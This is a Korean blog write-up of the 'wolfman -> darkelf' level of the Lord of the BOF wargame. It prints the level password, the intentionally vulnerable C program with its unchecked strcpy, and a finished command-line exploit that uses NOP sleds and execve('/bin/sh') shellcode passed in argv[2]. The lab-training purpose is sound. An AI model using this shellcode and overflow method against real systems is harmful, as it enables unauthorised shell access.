SH1R0_HACKER

6. wolfman -> darkelf 본문

System/The Lord of BOF

6. wolfman -> darkelf

SH1R0_HACKER 2020. 10. 24. 15:14

login : wolfman

password : love eyuna


[ darkelf.c ]

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf
        - egghunter + buffer hunter + check length of argv[1]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

 

 

환경변수를 사용하지 못하고 buffer도 40byte를 0으로 초기화시켜버리고

argv[1]의 길이가 48byte를 초과하는지 확인하고 있다.

 

argv[2]에 대한 제약은 아무것도 없다.

두번째 인자를 활용해서 공격을 하면 될 것 같다.

 

우리에게 필요한 정보는 딱 한가지다.

argv[2]의 주소

 

ret에 브레이크 포인트를 걸고

argv[1]에 들어갈 A * 47개 + \xbf와 argv[2]에 들어갈 C * 30개를 날린다.

빨간색 부분이 RET

초록색 부분이 argv[1]

파란색 부분이 argv[2]

 

 

이제 페이로드를 작성해보자.

./wolfman `python -c 'print "\x90"*44+"[ argv[2] 주소 ]"'` `python -c 'print "\x90"*50 + "[ 쉘코드 (25byte) ]"'`

 

 

완성된 페이로드는 아래와 같다.

./darkelf `python -c 'print "\x90"*44+"\x51\xfc\xff\xbf"'` `python -c 'print "\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

 

'System > The Lord of BOF' 카테고리의 다른 글

8. orge -> troll  (0) 2020.10.26
7. darkelf -> orgc  (0) 2020.10.24
5. orc -> wolfman  (0) 2020.10.22
4. goblin -> orc  (0) 2020.10.22
3. cobolt -> goblin  (0) 2020.10.21